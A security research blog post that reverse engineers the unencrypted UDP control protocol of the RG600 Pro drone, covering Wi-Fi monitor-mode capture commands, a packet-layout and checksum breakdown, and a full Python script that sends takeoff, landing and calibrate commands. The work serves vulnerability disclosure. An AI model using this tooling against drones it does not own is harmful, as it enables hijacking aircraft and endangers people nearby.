Practical drone attack via UDP: Reverse engineering of the wireless control channel

Home » Hawktesters Cybersecurity Research » Practical drone attack via UDP: Reverse engineering of the wireless control channel

In this article we document a complete reverse engineering exercise applied to the RG600 Pro drone, a model that uses Wi-Fi and RF communication to receive commands from a mobile application and remote control. Without official documentation of the protocol, we carry out a practical analysis that goes from capturing UDP packets in real time, to reconstructing the commands used by the original controller.

Initial recognition

Our first step is to recognize in the air valuable information that we can capture from the drone, for that we start by performing a scan of wireless networks and recognize the name of the network of the device.

We start by placing our network card in monitor mode and scanning the networks.

sudo airmon-ng start wlan0
sudo airodump-ng wlan0
CH  1 ][ Elapsed: 24 s ][ 2025-07-15 16:41                                                                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                                                                                                            
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
 28:BB:ED:FD:60:D0  -11        9        0    0   4   65   OPN              FLOW_8K_FD60D0                                                                                                                                                                                                                                   
                                                                                                                                                                                                                                   
                                                                                                                                                                                                                                                                                                                            
 BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes                                                                                                                                                                                                                                          
                                                                                                                                                                                                                                                                                                                            
 E4:84:2B:14:EF:8A  4C:57:39:85:37:DE   -1    1e- 0      0        7                   

We have our drone with the following information BSSID 28:BB:ED:FD:60:D0 with ESSID FLOW_8K_FD60D0 and the communication channel 4

Drone Wi-Fi channel selection

sudo iwconfig wlan0 channel 4

This command forces the Wi-Fi interface (wlan0) to specifically tune to channel 4.

In multi-channel environments, selecting the correct channel ensures that we will not lose packets from the drone.

Live capture of packets filtering only the drone

sudo tcpdump -i wlan0 ether host 28:bb:ed:fd:60:d0 -s 0 -w - | wireshark -k -i -

We capture specific packets from the drone using its MAC address, We analyzed these packets in Wireshark to identify the proprietary protocol used by the drone.

UDP packet analysis

Once we are capturing the traffic from our drone, the first thing we notice is that there is a lot of traffic with packet sizes 124, 88, 1080.

After making manual adjustments to the RG600 Pro drone application – such as lever up, capture photo or stop propellers – it was observed that commands are transmitted via UDP packets directed to the drone’s port 8800.

General Packet Structure

Packets have a fixed length of 124 bytes, and can be divided into three main segments:

  • Protocol header (Bytes 0-11).
  • Control block (Bytes 12-31)
  • Filling/Padding and additional status (Bytes 32-123)

Protocol Header

Bytes: ef 02 7c 00 02 02 00 01 02 00 00 00

Byte(s)Description
ef 02Protocol identifier
7c 00Possible length or type of frame
02 02 00Subtype or Transaction ID
01 02Flags or version
00 00 00Padding

This segment is constant in all packages and serves as a start marker and synchronization structure with the drone.

Control Block (bytes 12 to 31)

It starts with byte 0x66, which acts as the delimiter of the control block.

66 14 80 80 80 80 02 02 00 00 00 99

OffsetByteFunction
1266Start of the control block
1314Version / Flag (fixed value)
14–1780 80 80 80RC values (roll, pitch, throttle, yaw) centered (0x80)
1802Command sent
1902Headless mode” status
20–2200 00 00Filled or reserved
2399End of control block

Identified Commands (Byte 18)

ValueAction
01Takeoff
02Emergency stop
03Landing
04Calibrate gyroscope

Headless Mode (Byte 19)

ValueStatus
02Deactivated
03On (headless mode)

Terminator (Byte 23)

Byte 99 acts as the end of the control block, probably to delimit the packet for the drone parser.

Checksum (to be confirmed)

In some packages a byte appears immediately after 0x99, which appears to be an XOR of the bytes from RC to headless mode. It still requires full validation.

In that vein, the key observations

  • The packets have an extremely consistent format.
  • It has been validated that the drone control signal does not require authentication or encryption.
  • Direct manipulation of the control block allows commands such as takeoff, landing or emergency stop to be sent.

Another important point is the following:

The application also sends a packet to the drone to start the video transmission. The packet is always the same and has only 4 bytes 0xef 0x00 0x04 0x04 0x00. This will open a port on the drone and the video stream will be sent to that port (the port ) :1234.

Once the transmission has been activated, the drone starts sending its video signal to the mobile application through UDP port 1234.

Although it has not yet been possible to fully decode the content, everything indicates that the stream may be encoded in H.264, according to the pattern of the captured packets. Investigations are still ongoing to ensure correct display and extraction.

Detailed sections

Finally, after a little more research, there is a detailed section on how packages should travel.

SectionBytesDescription
HEADER12 bytesIdentifier and base protocol. Fixed: ef 02 7c 00 02 02 00 01 02 00 00 00.
COUNTER2 bytesCounter that increments with each shipment. Helps the drone to detect lost packages.
CONST16 bytesFixed part: 00 00 14 00 66 14
CONTROL6 bytesCritical data: ROLL, PITCH, THROTTLE, YAW, COMMAND, HEADLESS
CONTROL_SUFFIX10 bytesControl suffix: always 00
CHECKSUM1 byteXOR of the 6 bytes of the CONTROL block
CHECKSUM_SUFFIX28 bytesSecurity or validation suffix. Contains part of the visual handshake.
COUNTER_22 bytesSame counter as above but in a different position. Reinforces reliability.
COUNTER_SUFFIX~26 bytesPadding and completion. It can have fixed values such as ff ff ff ff ff ff ff

Checksum calculation

One thing we were not clear about was the checksum calculation.

The checksum is the XOR of these 6 bytes of the control block:

checksum = roll ^ pitch ^ throttle ^ yaw ^ command ^ headless

This value is placed just after the CONTROL_SUFFIX block, and before the CHECKSUM_SUFFIX block.

Initial Handshake

Before sending commands, it is necessary to perform a visual handshake for the drone to enable communication. This is accomplished by sending repeatedly (for ~1 second):

bytearray([0xef, 0x00, 0x04, 0x00])

This message is sent by UDP to port 8800 and establishes the session. If this step is not done, the drone will ignore the packets.

The process followed was:

  1. Connection to the drone via its open Wi-Fi network.
  2. Traffic capture using Wireshark on the cell phone while using the app.
  3. UDP packet filtering to port 8800.
  4. Observation of commands while calibrating, taking off, etc., and byte comparison.
  5. Static and dynamic pattern confirmation (e.g., counter and checksum).
  6. Development of script that reproduces valid messages.
  7. Empirical validation with the real drone (ran calibrate, takeoff, land, etc.).

The code

Finally, the code that reflects all of the above is the following.

  ﲵ  tree
.
├── drone
│   └── core.py
└── main.py

2 directories, 2 files


import socket
import time

class Drone:
    def __init__(self, ip="192.168.169.1", port=8800):
        self.ip = ip
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        self.header = bytearray([0xef, 0x02, 0x7c, 0x00, 0x02, 0x02, 0x00, 0x01, 0x02, 0x00, 0x00, 0x00])
        self.control_suffix = bytearray([0x00] * 10)
        self.checksum_suffix = bytearray([0x99] + [0x00]*43 + [0x32, 0x4b, 0x14, 0x2d, 0x00, 0x00])
        self.counter_suffix = bytearray([
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0xff, 0xff,
            0xff, 0xff, 0x02, 0x00, 0x00, 0x00, 0x10, 0x00,
            0x00, 0x00
        ])
        self.counter = 0

    def initialize_image(self):
        init_msg = bytearray([0xef, 0x00, 0x04, 0x00])
        self.sock.sendto(init_msg, (self.ip, self.port))

    def _build_message(self, command):
        roll = pitch = throttle = yaw = 128
        headless = 2
        control = bytearray([roll, pitch, throttle, yaw, command, headless])
        checksum = bytearray([roll ^ pitch ^ throttle ^ yaw ^ command ^ headless])
        counter = bytearray([self.counter % 256, (self.counter // 256) % 256])
        self.counter += 1

        return (
            self.header +
            counter +
            bytearray([0x00, 0x00, 0x14, 0x00, 0x66, 0x14]) +
            control +
            self.control_suffix +
            checksum +
            self.checksum_suffix +
            counter +
            self.counter_suffix
        )

    def send_command(self, command):
        msg = self._build_message(command)
        self.sock.sendto(msg, (self.ip, self.port))

        print("\n=== Sending command 0x{:02X} ===".format(command))
        print(f"[+] Payload complete ({len(msg)} bytes): {msg.hex(' ')}")

        # Desglose por secciones
        print("\n--- Breakdown of the message ---")
        print("HEADER           :", self.header.hex(' '))
        print("COUNTER          :", msg[12:14].hex(' '))
        print("CONST1           :", msg[14:20].hex(' '))
        print("CONTROL (6B)     :", msg[20:26].hex(' '))
        print("CONTROL_SUFFIX   :", msg[26:36].hex(' '))
        print("CHECKSUM         :", msg[36:37].hex(' '))
        print("CHECKSUM_SUFFIX  :", msg[37:65].hex(' '))
        print("COUNTER (rep)    :", msg[65:67].hex(' '))
        print("COUNTER_SUFFIX   :", msg[67:].hex(' '))
        print("-----------------------------\n")


import time
from drone.core import Drone

drone = Drone()

print("[*] Sending handshake...")
for _ in range(10):
    drone.initialize_image()
    time.sleep(0.1)

while True:
    print("\nAvailable commands:")
    print("1. Calibrate")
    print("2. Take off")
    print("3. Land")
    print("4. exit")
    option = input("Select an option: ")

    if option == "1":
        drone.send_command(0x04)  # calibrate
        print("[*] Calibrating...")
    elif option == "2":
        drone.send_command(0x01)  # takeoff
        print("[*] Taking off...")
    elif option == "3":
        drone.send_command(0x03)  # land
        print("[*] Landing...")
    elif option == "4":
        print("Leaving...")
        break
    else:
        print("Invalid option.")

You can see the code in action.

Conclusion

This research demonstrated how, through traffic analysis and reverse engineering techniques, it is possible to intercept and replicate the control commands of a commercial drone such as the RG600 Pro. Through the unencrypted UDP protocol, we were able to take complete control from a Python script, evidencing the absence of security measures in its communication channel.

Samir Sánchez Garnica

Hi, Samir Sanchez Garnica is a seasoned Purple Team professional with over 12 years of expertise in ethical hacking, specializing in security testing across web environments, cloud platforms (Azure, AWS, Google Cloud), and on-premise infrastructures—with a primary focus on the banking sector. His extensive experience encompasses mobile application security, reverse engineering, network team exercises, and social engineering initiatives. A passionate programmer, Samir continually enhances his work through the automation of pentesting processes, leveraging his proficiency in SHELLSCRIPT, Python3, PHP, C, JavaScript, PowerShell, Objective-C, Node.js, Dart, and Assembly Language. Samir’s current endeavors are centered on reverse engineering, where he excels as both a reverser and shellcode writer across Windows, macOS, and GNU/Linux environments, spanning user land and kernel land. His latest research efforts delve into debugging within iOS mobile environments, IoT technologies, and the intricacies of reversing on MIPS and ARM architectures, with a specialized focus on radio frequency-based hardware exploitation.

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *